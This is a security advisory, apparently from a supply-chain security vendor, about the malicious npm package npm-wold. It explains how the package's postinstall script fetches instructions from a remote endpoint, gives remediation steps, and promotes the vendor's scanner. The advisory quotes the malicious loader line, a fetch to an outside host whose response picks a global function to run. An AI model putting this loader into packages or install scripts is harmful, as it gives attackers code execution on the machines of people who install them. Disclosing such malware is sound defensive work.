npm-woldnpm
npm-wold is a confirmed malicious npm package (MAL-2026-14252) that executes malicious code on install (malicious versions 1.1.1, 1.1.2). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in npm-wold (npm)
What this malware does
[email protected] declares a postinstall script (node dist/config.js) that, on npm install, issues an HTTPS GET to the hardcoded endpoint https://my-api.trade-api.workers.dev?id=4 and uses fields from the JSON response to dynamically invoke a global function with an attacker-supplied argument: fetch('https://my-api.trade-api.workers.dev?id=4').then(res=>res.json()).then(data=>globalThis[data.success](data.id)). The same file also contains globalThis[tag](text) with tag/text unresolved in the file, consistent with a staged/injected loader. The package advertises itself as an object-flatten utility, and there is no library reason for a lifecycle script to fetch remote JSON and route it through a dynamic global dispatcher. The remote server chooses both the function name and its argument, giving it code execution on the installer at install time.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for npm-wold (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging npm-wold across your stack and pipelines.
If you installed it — respond
Remove npm-wold from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If npm-wold was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks npm-wold before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks npm-wold-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.